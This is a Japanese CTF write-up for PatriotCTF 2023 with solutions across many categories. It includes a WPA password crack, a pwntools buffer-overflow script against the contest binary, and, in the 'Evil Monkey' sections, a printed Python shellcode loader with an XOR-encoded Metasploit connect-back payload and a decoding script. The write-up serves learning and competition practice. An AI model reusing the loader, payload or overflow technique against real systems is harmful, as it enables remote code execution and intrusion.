PatriotCTF 2023 Writeup

この大会は2023/9/9 6:00(JST)~2023/9/11 6:00(JST)に開催されました。
今回もチームで参戦。結果は7400点で987チーム中47位でした。
自分で解けた問題をWriteupとして書いておきます。

Welcome (Misc)

ルールにフラグが書いてあった。

PCTF{I_h4v3_r34d_th3_rul35!}

Uh Oh! (Misc)

rockyou.txtから (NPA) NXX-XXXX の形式になる電話番号を探す。

$ grep -n -E "^\([2-9][0-9]{2}\)\s[2-9][0-9]{2}\-[0-9]{4}$" rockyou.txt 
7731484:(404) 303-7283
PCTF{7731484_4043037283}

WPA (Misc)

Wi-Fiのパスワードを答える問題。

$ aircrack-ng -w dict/rockyou.txt savedcap.cap
Reading packets, please wait...
Opening savedcap.cap
Read 888 packets.

   #  BSSID              ESSID                     Encryption

   1  52:E2:4D:0A:A6:36  Pctf wifi challenge       WPA (1 handshake)

Choosing first network as target.

Reading packets, please wait...
Opening savedcap.cap
Read 888 packets.

1 potential targets


                               Aircrack-ng 1.7 

      [00:00:00] 1818/10303727 keys tested (7699.78 k/s) 

      Time left: 22 minutes, 17 seconds                          0.02%

                           KEY FOUND! [ qazwsxedc ]


      Master Key     : D9 2A 24 C3 1D DB EF C0 58 AF 10 9F F2 F5 DE E9 
                       0C B6 EC F9 59 4E 39 7C 6E 50 E8 B5 3D 61 7E C4 

      Transient Key  : A8 6F FF 4C D2 0A 0B 59 5B 17 6E 27 32 63 29 9C 
                       D3 A6 4D 25 80 02 DF B8 39 C7 F1 46 08 E5 88 24 
                       2F 50 8A 5E D9 65 17 AD C6 AC DC 83 00 D6 D3 39 
                       37 77 DF 14 83 00 FF 3D E1 6D 13 CA D3 B4 40 C9 

      EAPOL HMAC     : 2F F5 73 C8 A5 66 B0 60 7D EF 8F 51 B0 64 F6 65
PCTF{qazwsxedc}

Twins (Misc)

差分を見てみる。

$ diff he.txt she.txt 
5c5
< Captain Jameson had heard stories of Atlantis since he was a boy. It was said to be a magnificent city, with towering buildings made of gold and silver, streets paved with precious stones, and an abundance of riches beyond imagination. But it had been lost to the sea for thousands of years, its location a mystery that had confounded explorers for centuries.
---
> Captain Jameson had heard stories of Atlantis since he was a boy. It was said to be a magnificent city, with towering buildings made of gold and silver, streets paved with precious stones, and an abund4nce of riches beyond imagination. But it had been lost to the sea for thousands of years, its location a mystery that had confounded explorers for centuries.
40c40
< As she climbed the ladder of success, Caroline became more and more focused on her career. She worked long hours, skipped vacations, and sacrificed her personal life for the sake of her job. But she was convinced that it was worth it. She was on the fast track to the top, and nothing could stop her.
---
> As she climbed the ladder of success, Caroline became more and more focused on her career. She worked long hours, skipped vacations, and sacrificed her personal life for the sake of her job. But she as convinced that it was worth it. She was on the fast track to the top, and nothing could stop her.
48c48
< As the months turned into years, Caroline's perspective began to shift. She realized that her career, while important, was not the only thing that mattered in life. She began to focus on the things that truly brought her joy: spending time with her family, traveling, and pursuing her hobbies.
---
> As the months turned into years, Caroline's perspective began to shift. She realized that her career, while important, was not the only thing that mattered in life. She began to focus on the things that truly brought her joy: spending time with her family, travling, and pursuing her hobbies.
72c72
< Finally, Jack collapsed. He lay on the ground, weak and delirious, as the world around him spun out of control. He knew that he was dying, and that the cursed diamond was to blame.
---
> Finally, Jack collaped. He lay on the ground, weak and delirious, as the world around him spun out of control. He knew that he was dying, and that the cursed diamond was to blame.
107c107
< In the year 2050, the world was a very different place. Climate change had ravaged the planet, causing widespread famine, disease, and social unrest. Most of the world's population had been wiped out, and those who remained struggled to survive.
---
> In the year 250, the world was a very different place. Climate change had ravaged the planet, causing widespread famine, disease, and social unrest. Most of the world's population had been wiped out, and those who remained struggled to survive.
121c121
< The journey was long and treacherous. Mia and Kai faced countless obstacles, including harsh weather, dangerous animals, and hostile survivors. But they pressed on, driven by the hope of a better life.
---
> The journey was long and treacherous. ia and Kai faced countless obstacles, including harsh weather, dangerous animals, and hostile survivors. But they pressed on, driven by the hope of a better life.
125c125
< Sophia welcomed them warmly, and showed them around the bunker. It was a marvel of engineering, with advanced technology and sophisticated systems for food, water, and energy. Mia and Kai couldn't believe their luck.
---
> Sophia welcomed them warmly, and show3d them around the bunker. It was a marvel of engineering,_ with advanced technology and sophisticated systems for food, water, and energy. Mia and Kai couldn't believe their luck.
127c127
< Over the next few months, Mia and Kai settled into their new home. They worked hard, contributing their skills and knowledge to the community that had gathered in the bunker. They learned from Sophia, and from the others, and they felt a sense of purpose and hope that they had never felt before.                                                                                                                                                                              
---
> Over the next few months, Mia and Kai settled into their new home. They worked hard, contributing their skill and knowledge to the community that had gathered in the bunker. hey learned from Sophia, and from the thers, and they felt a sense of purpose and hope that they had never felt before.                                                                                                                                                                                 
129c129
< Years passed, and the world outside the bunker remained a dangerous and inhospitable place. But inside the bunker, Mia and Kai had found a new family, a new home, and a new hope for the future. They knew that they were the last survivors, but they also knew that they were not alone.                                                                                                                                                                                           
---
> Years passed, and the world outside the bunker emained a dangerous and inhospitable place. But inside the bunker, Mia and Kai had found a new family, a new home, and a new hope for the future. They knew that they were the last survvors, but they also knew that they were not alone.                                                                                                                                                                                             
135c135
< Many had scoffed at her obsession, dismissing it as a fool's errand. But Lena was convinced that Atlantis was real, and that it held the key to unlocking the mysteries of the ancient world.
---
> Many had scoffed at her obsession, dismissing it as a fool's rrand. But Lena was convinced that Atlantis was real, and that it held the key to unlocking the mysteries of the ancient world.
139c139
< The journey was long and perilous. They faced treacherous currents, dangerous sea creatures, and the constant threat of failure. But Lena was determined to succeed, and she drove her team on tirelessly.
---
> The journey was long and perilous. They faced treacherous current, dangerous sea creatures, and the constant threat of failure. But Lena was determined to succeed, and she drove her team on tirelessly.
151c151
< When Lena came to, she realized that everything had changed. The cavern was no longer dark and foreboding, but bright and filled with life. She saw plants growing where there had been only ruins, and heard the sound of birds and animals.                                                                                                                                                                                                                                         
---
> When Lena came to, she realized that everything had changed. The cavern was no longer dark and foreboding, but bright and filled with life. She saw plants growing where_ there had been only ruins, and heard the sound of birds and animals.                                                                                                                                                                                                                                        
153c153
< Lena realized that the cavern had been transformed, that the power of Atlantis had restored it to its former glory. She felt a sense of wonder and awe, and knew that she had witnessed something incredible.
---
> Lena realized that the cavern had been transfored, that the power of Atlantis had restored it to its former glory. She felt a sense of wonder and awe, and knew that she hd witnessed something incredible.
155c155
< As Lena and her team left the cavern, they knew that they had uncovered the greatest discovery of their lives. They had found the lost city of Atlantis, and had witnessed the power of a civilization that had long been forgotten. Lena knew that her life's work had been worth it, and that the secrets of Atlantis would inspire generations to come.                                                                                                                            
---
> As Lena and her team left the cavern, they knew that they had uncovered the greatest discovery of their lives. They had found the lost city of Atlantis, and had witnessed the power of a civilization that had log been forgotten. Lena knew that her life's work had been worth it, and that the secrets of Atlantis would inspire generations to come.

差分のあるhe.txtとshe.txtの文字を書き並べる。

 he.txt: awes0Me sTories man
she.txt: 4     3_       _   

she.txtの方で文字が削られていない場合は、she.txtの文字を使う。

PCTF{4wes0M3_sTories_man}

1972 Schism (Trivia)

GMUが独自の大学になる前、どこの大学のサテライト校だったかを答える問題。
「George Mason University」で検索する。もともと、バージニア大学の分校だったとwikipediaに書いてある。バージニア大学の略称はUVA。

PCTF{UVA}

Final Four (Trivia)

Fairfax市から寄付を受けて建てられた4つの建物の名前をアルファベット順に答える問題。
「"Fairfax Campus" open year gmu four building」で検索すると、以下のページが見つかった。

https://vault217.gmu.edu/?p=5144

4つの建物について記載がある。

The four original buildings were named North (now known as Finley), South (now known as Krug), East, and West.  A fifth building, the Lecture Hall, was scratched from the original build-out because of budget issues and later added in 1968.
PCTF{East, Finley, Krug, West}

Mascot Conundrum (Trivia)

Patriotの前のマスコットの名前を答える問題。
以下のURLでGMUのマスコットの歴史を見る。

https://www.gmu.edu/news/2022-03/archives-history-mason-mascots
PCTF{Gunston}

Mason ID OSINT (Trivia)

学生証の写真にある建物の名前の由来になっている人の名前を答える問題。
画像には学生証も出てくる。建物の写真が載っているので、画像検索する。建物はJohnson Centerであることがわかる。
https://en.wikipedia.org/wiki/George_Mason_Universityを調べると、おそらくこの名前の由来は以下の人。

George W. Johnson
PCTF{George, Johnson}

Bad Documentation (OSINT)

Commitsを見ていく。Add files via uploadのCommitを見る。

Basic認証の情報があるので、書き出す。

YWRtaW46UENURntOMF9jMEQzJ3NfMlZlUnlfUjNhTGxZX0cwbjN9
$ echo YWRtaW46UENURntOMF9jMEQzJ3NfMlZlUnlfUjNhTGxZX0cwbjN9 | base64 -d
admin:PCTF{N0_c0D3's_2VeRy_R3aLlY_G0n3}
PCTF{N0_c0D3's_2VeRy_R3aLlY_G0n3}

guessinggame (PWN)

Ghidraでデコンパイルする。

undefined8 main(void)

{
  puts("Hello there, friend! Can you guess my favorite animal?");
  check();
  return 0;
}

void check(void)

{
  int iVar1;
  undefined8 local_140;
  char local_138 [300];
  int local_c;
  
  local_140 = 0x65666661726947;
  local_c = 0;
  printf("Input guess: ");
  gets(local_138);
  iVar1 = strcmp(local_138,(char *)&local_140);
  if (iVar1 == 0) {
    puts("That\'s not my favorite animal... I promise!");
  }
  else {
    puts("ERRR! Wrong!");
  }
  if (local_c != 0) {
    puts("I wasn\'t able to trick you...");
    outputFlag();
  }
  return;
}

void outputFlag(void)

{
  char local_38 [40];
  FILE *local_10;
  
  local_10 = fopen("flag.txt","r");
  if (local_10 == (FILE *)0x0) {
    printf("Unable to find flag.txt :(");
  }
  else {
    fgets(local_38,0x23,local_10);
    printf("%s",local_38);
  }
  fclose(local_10);
  return;
}

BOFでlocal_cを上書きすればよい。

#!/usr/bin/env python3
from pwn import *

if len(sys.argv) == 1:
    p = remote('chal.pctf.competitivecyber.club', 9999)
else:
    p = process('./guessinggame')

payload = 'A' * 301

data = p.recvline().decode().rstrip()
print(data)
data = p.recvuntil(b': ').decode()
print(data + payload)
p.sendline(payload.encode())
data = p.recvrepeat(1).decode()
print(data)

実行結果は以下の通り。

[+] Opening connection to chal.pctf.competitivecyber.club on port 9999: Done
Hello there, friend! Can you guess my favorite animal?
Input guess: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
ERRR! Wrong!
I wasn't able to trick you...
PCTF{1_l0v3_g1raff35_85036769}

[*] Closed connection to chal.pctf.competitivecyber.club port 9999
PCTF{1_l0v3_g1raff35_85036769}

Coffee Shop (Rev)

jarを解凍し、classファイルを抽出する。http://www.javadecompilers.com/デコンパイルする。

import java.util.Base64;
import java.util.Scanner;

// 
// Decompiled by Procyon v0.5.36
// 

class CoffeeShop
{
    public static void failure() {
        System.out.println("Sorry! You didn't get it right...");
    }
    
    public static void success() {
        System.out.println("Nice! You got it!");
        System.out.println("Submit the name you entered inside CACI{} to get points!");
    }
    
    public static void main(final String[] array) {
        final Scanner scanner = new Scanner(System.in);
        System.out.println("What's my name?");
        final String encodeToString = Base64.getEncoder().encodeToString(scanner.nextLine().getBytes());
        if (encodeToString.length() != 20) {
            failure();
        }
        else if (!encodeToString.endsWith("NoZXI=")) {
            failure();
        }
        else if (!encodeToString.startsWith("R2FsZU")) {
            failure();
        }
        else if (!encodeToString.substring(6, 14).equals("JvZXR0aW")) {
            failure();
        }
        else {
            success();
        }
    }
}

以下をbase64デコードする。

"R2FsZUJvZXR0aWNoZXI="
$ echo R2FsZUJvZXR0aWNoZXI= | base64 -d
GaleBoetticher
CACI{GaleBoetticher}

Python XOR (Rev)

XOR鍵は1バイト。フラグが"Flag{"から始まることを前提にkeyを算出し、復号する。

from string import punctuation

data = "bHEC_T]PLKJ{MW{AdW]Y"

key = ord(data[0]) ^ ord('F')

flag = ''
for c in data:
    flag += chr(ord(c) ^ key)
print(flag)
Flag{python_is_e@sy}

Patchwork (Rev)

Ghidraでデコンパイルする。

void give_flag(void)

{
  undefined8 *puVar1;
  undefined8 local_38;
  undefined8 local_30;
  undefined8 local_28;
  undefined2 local_20;
  undefined local_1e;
  undefined8 *local_18;
  undefined8 *local_10;
  
  local_38 = 0x9dc59acb96a493a0;
  local_30 = 0xb4be84afa0c5afc0;
  local_28 = 0xa780b4afc483b7af;
  local_20 = 0xcdbe;
  local_1e = 0;
  local_10 = &local_38;
  while (*(char *)local_10 != '\0') {
    puVar1 = (undefined8 *)((long)local_10 + 1);
    *(char *)local_10 = *(char *)local_10 + -0x50;
    local_10 = puVar1;
  }
  puts((char *)&local_38);
  local_18 = &local_38;
  while (*(char *)local_18 != '\0') {
    puVar1 = (undefined8 *)((long)local_18 + 1);
    *(char *)local_18 = *(char *)local_18 + 'P';
    local_18 = puVar1;
  }
  return;
}

local_38の各値からマイナス0x50して文字表記する。

#!/usr/bin/env python3
codes = [0x9dc59acb96a493a0, 0xb4be84afa0c5afc0, 0xa780b4afc483b7af, 0xcdbe]

flag = ''
for code in codes:
    s = (code).to_bytes(8, 'little')
    for c in s:
        if c == 0:
            break
        flag += chr(c - 0x50)

print(flag)
PCTF{JuMp_uP_4nd_g3t_d0Wn}

Scavenger Hunt (Web)

フラグが分断されて、隠されているようだ。
そのまま1つ目は表示されている。

Flag 1/5 - PCTF{Hunt

HTMLソースを見ると、コメントに2つ目が書かれていた。

<!-- Flag 2/5 - 3r5_4n -->

http://chal.pctf.competitivecyber.club:5999/robots.txtに3つ目が書かれていた。

# Flag 3/5 - D_g4tH3
User-agent: *
Disallow: /

http://chal.pctf.competitivecyber.club:5999/script1.jsに4つ目が書かれていた。

console.log("Flag 4/5 - R5_e49");

http://chal.pctf.competitivecyber.club:5999/script2.jsに5つ目が書かれていた。

document.cookie = "Flag 5/5=e4a541}";
PCTF{Hunt3r5_4nD_g4tH3R5_e49e4a541}

Unsupported Format (Forensics)

$ binwalk Flag.jpg    

DECIMAL       HEXADECIMAL     DESCRIPTION
--------------------------------------------------------------------------------
0             0x0             JPEG image data, JFIF standard 1.01
30            0x1E            TIFF image data, little-endian offset of first image directory: 8
260           0x104           JPEG image data, JFIF standard 1.01

オフセット0x104まで削除すると、画像にフラグが書いてあった。

PCTF{c0rrupt3d_b1t5_4r3_c00l}

Congratulations (Forensics)

$ olevba Congratulations.docm         
olevba 0.60.1 on Python 3.11.2 - http://decalage.info/python/oletools
===============================================================================
FILE: Congratulations.docm
Type: OpenXML
WARNING  For now, VBA stomping cannot be detected for files in memory
-------------------------------------------------------------------------------
VBA MACRO ThisDocument.cls 
in file: word/vbaProject.bin - OLE stream: 'VBA/ThisDocument'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
(empty macro)
-------------------------------------------------------------------------------
VBA MACRO NewMacros.bas 
in file: word/vbaProject.bin - OLE stream: 'VBA/NewMacros'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - 
Dim x51 As String
    Dim x49 As String

    x51 = "C:\Program Files\Internet Explorer\iexplore.exe"

    Dim x50 As Integer
    Dim x47 As Double
    For x50 = 1 To 100
        x47 = Sqr(x50) * 2 + 5 / x50
    Next x50

    MsgBox "cYvSGF9cFrrEmfYFW8Yo", vbInformation, "aThg"

    x49 = [char]0x50 + [char]0x43 + [char]0x54 + [char]0x46 + [char]0x7B + [char]0x33 + [char]0x6E + [char]0x34 + [char]0x62 + [char]0x6C + [char]0x33 + [char]0x5F + [char]0x6D + [char]0x34 + [char]0x63 + [char]0x72 + [char]0x30 + [char]0x35 + [char]0x5F + [char]0x70 + [char]0x6C + [char]0x7A + [char]0x5F + [char]0x32 + [char]0x37 + [char]0x33 + [char]0x31 + [char]0x35 + [char]0x36 + [char]0x37 + [char]0x30 + [char]0x7D

    Shell x51 & " " & x49, vbNormalFocus

    Application.Wait Now + TimeValue("00:00:02")

    MsgBox "sgTdrn8Np2Kpfnmr9y57" & x49, vbInformation, "foSds"

    Dim x45(1 To 10) As Integer
    Dim x46 As Integer
    For x50 = 1 To 10
        x46 = Int((100 - 1 + 1) * Rnd + 1)
        x45(x50) = x46
    Next x50

    Dim x52 As Integer
    Dim x53 As Integer
    For x50 = 1 To 9
        For x53 = x50 + 1 To 10
            If x45(x50) > x45(x53) Then
                x52 = x45(x50)
                x45(x50) = x45(x53)
                x45(x53) = x52
            End If
        Next x53
    Next x50

    Dim x54 As String
    For x50 = 1 To 10
        x54 = x54 & x45(x50) & ", "
    Next x50
    MsgBox "phNuYUNwdHHCJdVL4hJd" & Left(x54, Len(x54) - 2), vbInformation, "LOEC"

    Dim x55 As Worksheet
    Set x55 = ThisWorkbook.Sheets.Add(After:=ThisWorkbook.Sheets(ThisWorkbook.Sheets.Count))
    x55.Name = "TtrZ4"
    Dim x56 As ChartObject
    Set x56 = x55.ChartObjects.Add(Left:=10, Top:=10, Width:=300, Height:=200)

    Dim x57 As Range
    Set x57 = x55.Range("A1:B5")
    x57.Value = Application.WorksheetFunction.RandBetween(1, 100)
    x56.Chart.SetSourceData Source:=x57
    x56.Chart.ChartType = xlColumnClustered

    Exit Sub

ErrorHandler:
    MsgBox "hWgjD9NKf7UqXdAq0GBb", vbCritical, "uv9b"
End Sub

+----------+--------------------+---------------------------------------------+
|Type      |Keyword             |Description                                  |
+----------+--------------------+---------------------------------------------+
|Suspicious|Shell               |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|vbNormalFocus       |May run an executable file or a system       |
|          |                    |command                                      |
|Suspicious|Base64 Strings      |Base64-encoded strings were detected, may be |
|          |                    |used to obfuscate strings (option --decode to|
|          |                    |see all)                                     |
|IOC       |iexplore.exe        |Executable file name                         |
|Base64    |i8`                 |aThg                                         |
|String    |                    |                                             |
+----------+--------------------+---------------------------------------------+

x49にASCIIコードから文字にして設定している箇所があるので、割り出す。

>>> codes = [0x50, 0x43, 0x54, 0x46, 0x7B, 0x33, 0x6E, 0x34, 0x62, 0x6C, 0x33, 0x5F, 0x6D, 0x34, 0x63, 0x72, 0x30, 0x35, 0x5F, 0x70, 0x6C, 0x7A, 0x5F, 0x32, 0x37, 0x33, 0x31, 0x35, 0x36, 0x37, 0x30, 0x7D]
>>> ''.join([chr(code) for code in codes])
'PCTF{3n4bl3_m4cr05_plz_27315670}'
PCTF{3n4bl3_m4cr05_plz_27315670}

Capybara (Forensics)

jpgの後ろにzipがくっついているので、切り出す。zipを解凍すると、audio.wavが展開される。
モールス信号になっているので、以下のサイトでデコードする。

https://morsecode.world/international/decoder/audio-decoder-adaptive.html

デコード結果は以下の通り。

504354467B64305F7930555F6B4E30575F6830575F74305F523334445F6D307235335F433064333F7D

16進数文字列になっているので、デコードする。

$ echo 504354467B64305F7930555F6B4E30575F6830575F74305F523334445F6D307235335F433064333F7D | xxd -r -p              
PCTF{d0_y0U_kN0W_h0W_t0_R34D_m0r53_C0d3?}
PCTF{d0_y0U_kN0W_h0W_t0_R34D_m0r53_C0d3?}

Unsupported Format 2 (Forensics)

"CORRUPTED"という文字列が多数入っているので、削除する。さらにjpgの後ろにzipがくっついているので、切り出す。

#!/usr/bin/env python3
with open('corrupted.jpg', 'rb') as f:
    data = f.read()

data = data.replace(b'CORRUPTED', b'')

with open('flag.jpg', 'wb') as f:
    f.write(data[:0x100660])

with open('flag.zip', 'wb') as f:
    f.write(data[0x100660:])

zipを解凍すると、Monitor.jpgが展開された。StegSolveで開き、Red plane 0を見ると、フラグが現れた。

PCTF{00ps_1_L1ed_Th3r3_1s_4_Fl4g}

Evil Monkey 1 (Forensics)

Blenderで開き、スクリプト作成のメニューを選択し、右のメニューからテキストを見る。

import bpy
import os
import itertools

kernel32 = ctypes.windll.kernel32

def run(shellcode):
    buffer = ctypes.create_string_buffer(shellcode)
    ptr = write_memory(buffer)
    shell_func = ctypes.cast(ptr, ctypes.CFUNCTYPE(None))
    shell_func()
    
def write_memory(buf):
    length = len(buf)
    length = ctypes.c_size_t(length)

    kernel32.VirtualAlloc.restype = ctypes.c_void_p
    kernel32.RtlMoveMemory.argtypes = (
        ctypes.c_void_p,
        ctypes.c_void_p,
        ctypes.c_size_t)
        
    ptr = kernel32.VirtualAlloc(
        None,
        length, 
        0x3000, 
        0x40)    

    print(ptr)
    kernel32.RtlMoveMemory(ptr, buf, length)
    return ptr

def arc_cosh(val):
    angle_calculator = "a880bc5f4556417d8dc4d52ac06169aa0664b80d5167de43e80716c5391b68e1f8545223477a018d904031890246b67303e3614fce141d4d8fc67036cef32d6d55b8b8076557f2c7175560cb82476510ab21b86bce57f77d9f8cff43e7329e19b41dc75c38ae1a317b38d016c06b7d20870eb8530edd79505e9ebb4ac03289a8104c17041e3778160eb2d0161469d233bde8cca0ba0b497f6d4d30263c406b7e00007f286351a8a4a09d88de4a335908903c63376cd64a4ca0985a44233e7c2c7100315f439ca8aa0f1d601e0b6319713c823c80a5a9f4db355d661923aafc553597e6da85222bb3114545a2a354592154023335410076245d94f811b4e6dad9541605d4733c61245f5d304e1d5959490ccc60baba83b21f354d661d1c5b5bf89c37cc8ac6ae21317715584e0b33594b54385b546a5911b38a1a583b257e38de81366da049722ec92fb2cfb1a2a8a6deab69f0768323e08fe4bd85ec1d595972abbd"
    angle_calculator = bytes.fromhex(angle_calculator)
    shellcode = b""
    for x,y in zip(angle_calculator, itertools.cycle(val.encode())):
        shellcode += (x^y).to_bytes(1, "big")
            
    run(shellcode)
    return 0

# Add function to driver_namespace.
bpy.app.driver_namespace['arc_cosh'] = arc_cosh

valの値が鍵になるはず。構成ツリーのSuzanneを選択した状態でオブジェクトプロパティを見ると、animation_angleに以下が設定されていた。

Th3_EV!L_M0NK3Y!

PCTF{Th3_EV!L_M0NK3Y!}

Evil Monkey 2 (Forensics)

Evil Monkey 1で入手した情報からshellcodeを復号しファイルに保存する。

#!/usr/bin/env python3
import itertools

angle_calculator = "a880bc5f4556417d8dc4d52ac06169aa0664b80d5167de43e80716c5391b68e1f8545223477a018d904031890246b67303e3614fce141d4d8fc67036cef32d6d55b8b8076557f2c7175560cb82476510ab21b86bce57f77d9f8cff43e7329e19b41dc75c38ae1a317b38d016c06b7d20870eb8530edd79505e9ebb4ac03289a8104c17041e3778160eb2d0161469d233bde8cca0ba0b497f6d4d30263c406b7e00007f286351a8a4a09d88de4a335908903c63376cd64a4ca0985a44233e7c2c7100315f439ca8aa0f1d601e0b6319713c823c80a5a9f4db355d661923aafc553597e6da85222bb3114545a2a354592154023335410076245d94f811b4e6dad9541605d4733c61245f5d304e1d5959490ccc60baba83b21f354d661d1c5b5bf89c37cc8ac6ae21317715584e0b33594b54385b546a5911b38a1a583b257e38de81366da049722ec92fb2cfb1a2a8a6deab69f0768323e08fe4bd85ec1d595972abbd"
angle_calculator = bytes.fromhex(angle_calculator)

val = "Th3_EV!L_M0NK3Y!"

shellcode = b""
for x, y in zip(angle_calculator, itertools.cycle(val.encode())):
    shellcode += (x^y).to_bytes(1, "big")

with open('shellcode', 'wb') as f:
    f.write(shellcode)

VirusTotalにこのファイルをアップロードする。RELATIONSタグでmonkey.exeが関連していることがわかる。monkey.exeの以下のリンクにアクセスする。

https://www.virustotal.com/gui/file/bbd2ea5450451d4a5613a3578d3574aff8e087b85797fbcc79993518b86bf330/behavior

Decoded Textに以下のように書いてある。

{"Type": "Metasploit Connect", "IP": "13.37.13.37", "Port": 1738}
PCTF{13.37.13.37:1738}

Multi-numeral (Crypto)

0, 1で長い文字列が並んでいる。2進数コードとしてデコードする。
すると、スペース区切りでASCIIコードが並んでいる文字列になるので、デコードする。
今度はスペース区切りで16進数コードが並んでいる文字列になるので、デコードする。
base64文字列になるので、デコードする。

#!/usr/bin/env python3
from base64 import *

with open('Challenge.txt', 'r') as f:
    enc = f.read()

msg = ''
for i in range(0, len(enc), 8):
    msg += chr(int(enc[i:i+8], 2))
print('[+] msg:', msg)

msg = list(map(int, msg.split(' ')))

pt = ''
for c in msg:
    pt += chr(c)
print('[+] msg:', pt)

b64 = ''
for p in pt.split(' '):
    b64 += chr(int(p, 16))
print('[+] msg:', b64)

flag = b64decode(b64).decode()
print('[*] flag:', flag)

実行結果は以下の通り。

[+] msg: 53 53 32 52 53 32 52 69 32 53 53 32 53 50 32 54 69 32 55 52 32 51 51 32 52 68 32 52 56 32 54 52 32 54 54 32 54 51 32 55 65 32 52 50 32 54 54 32 54 50 32 53 52 32 53 50 32 55 53 32 54 53 32 53 54 32 51 57 32 55 53 32 54 52 32 53 55 32 51 49 32 54 57 32 53 65 32 53 56 32 52 57 32 51 49 32 54 54 32 53 49 32 51 68 32 51 68
[+] msg: 55 45 4E 55 52 6E 74 33 4D 48 64 66 63 7A 42 66 62 54 52 75 65 56 39 75 64 57 31 69 5A 58 49 31 66 51 3D 3D
[+] msg: UENURnt3MHdfczBfbTRueV9udW1iZXI1fQ==
[*] flag: PCTF{w0w_s0_m4ny_number5}
PCTF{w0w_s0_m4ny_number5}

My phone! (Crypto)

Bill cipher。https://www.dcode.fr/gravity-falls-bill-cipherでデコードする。

FOURSIX.SEVENSIXEIGHT,-NINETWO.ONETWOFOUR

数値にする。

46.768,-92.124

緯度、経度を表していると推測できる。Google mapで調べると、この場所の都市は以下の通り。

Duluth, Minnesota, USA
PCTF{duluth}

ReReCaptcha (Crypto)

RSA暗号のパラメータが画像に書いてある。OCRで読み取り、通常通り復号する。

#!/usr/bin/env python3
from Crypto.Util.number import *
import pyocr
from PIL import Image

def image_to_int(fname):
    img = Image.open(fname)
    text = tool.image_to_string(img, lang="eng", builder=builder)
    return int(text.replace('\n', ''))

pyocr.tesseract.TESSERACT_CMD = r'C:\Program Files\Tesseract-OCR\tesseract.exe'
tools = pyocr.get_available_tools()
tool = tools[0]
builder = pyocr.builders.TextBuilder(tesseract_layout=6)

e = 65537
p = image_to_int('P.png')
q = image_to_int('Q.png')
ct = image_to_int('CT.png')

phi = (p - 1) * (q - 1)
d = inverse(e, phi)
m = pow(ct, d, p * q)
flag = long_to_bytes(m).decode()
print(flag)
PCTF{I_H0P3_U_U53D_0CR!}

Breakfast club (Crypto)

https://crackstation.net/でクラックする。

SHA~SHA512は解読できた。

PCTF{H@5H

1文字のハッシュなので、スクリプトブルートフォースして解読する。

#!/usr/bin/env python3
from Crypto.Hash import SHA3_224, SHA3_256, SHA3_384, SHA3_512, TupleHash128, TupleHash256, BLAKE2s, BLAKE2b

flag = 'PCTF{H@5H'

alg = [SHA3_224, SHA3_256, SHA3_384, SHA3_512, TupleHash128, TupleHash256, BLAKE2s, BLAKE2b]
hashes = ['d22e03747b83667e3e84c78e9fb49f7c9376334b9cb337addbdf3ff9',
    'd14a329a1924592faf2d4ba6dc727d59af6afae983a0c208bf980237b63a5a6a',
    '3bd4e7dcad9d3c02adfa7aa5388727d346278a9a7b007f497b48a4fa2a12b9545c820df150854a8f8c494275bd6fd941',
    '2d44da53f305ab94b6365837b9803627ab098c41a6013694f9b468bccb9c13e95b3900365eb58924de7158a54467e984efcfdabdbcc9af9a940d49c51455b04c',
    'aed477850ed48df54054e9d3e7b8cae7e1764d949adb68fe4f24802ec464cb6c334ef97cc0453471fac5faf0118265bc9388062ccb704d5ac4010489bee201da',
    'a130e4df9144790d9c8824f90f4c1220a3eb5aa0cb296ab1f4f41f23f3ed0800f2ac3fad4f235a4ee601a8ca8bf0be394e06e53e2f789a6272f1bc54c4901d0c',
    '5abf6b1a79dee98ea32a98195c61a667c29a3674e79c82e43f0d19b0efa4b6f7',
    '7ae26253cfd42a3a090c44023c234ec63d0ffe63f8ad40b7913f3f646503b7a7cb8ac571d42a311ef71508344de72f30b57e5c100b402130060ebc947e07a59b'
]

for i in range(len(alg)):
    for code in range(32, 127):
        h_obj = alg[i].new()
        h_obj.update(bytes([code]))
        h = h_obj.hexdigest()
        if h == hashes[i]:
            flag += chr(code)
            break

print(flag)
PCTF{H@5H_8R0WNS}

Secret Wall Code (Crypto)

Wall Codeで検索していくと、以下のページにたどり着いた。

https://www.reddit.com/r/fivenightsatfreddys/comments/rnwxa6/can_someone_explain_how_that_letter_means_e_from/

ここにアルファベットのグループ化の情報がある。

Z|UVWXY|TSRQP|KLMNO|JIHGF|ABCDE

ECAGI|OMKQS|YWUDB|FHJNL|PRTXV|Z

このグループを前提に六角形で黒を軸に回していくようにして対応づける。

対応付けした表を元に復号する。

FNAF_IS_PRETTY_INSANE
PCTF{FNAF_IS_PRETTY_INSANE}

Mason Competitive Cyber (Crypto)

バイナリエディタで見ると、ゼロ幅スペースが3種類含まれていることがわかる。
以下のように対応付け、2進数コードとしてデコードする。

"\xe2\x80\x8c": "0"
"\xe2\x80\x8d": "1"
"\xef\xbb\xbf": 区切り
#!/usr/bin/env python3
with open('MasonCompetitiveCyber.txt', 'rb') as f:
    s = f.read()

s = s.replace(b'\r\n', b'')
s = s.replace(b'M', b'').replace(b'a', b'').replace(b's', b'')
s = s.replace(b'o', b'').replace(b'n', b'').replace(b'C', b'')
s = s.replace(b'\xe2\x80\x8c', b'0')
s = s.replace(b'\xe2\x80\x8d', b'1')
s = s.replace(b'\xef\xbb\xbf', b',')
s = s.decode().split(',')

flag = ''
for c in s:
    flag += chr(int(c, 2))
print(flag)
PCTF{M@s$0N_COmP3t1t1VE_CYB3r!}

Survey (Misc)

アンケートの途中で、2箇所に以下の文字列が書いてあった。

PCTF{Th4nk_Y0U
_4_pLay1ng_PC

そして最後に以下の文字列が書いてあった。

TF_Th15_Y34r!}
PCTF{Th4nk_Y0U_4_pLay1ng_PCTF_Th15_Y34r!}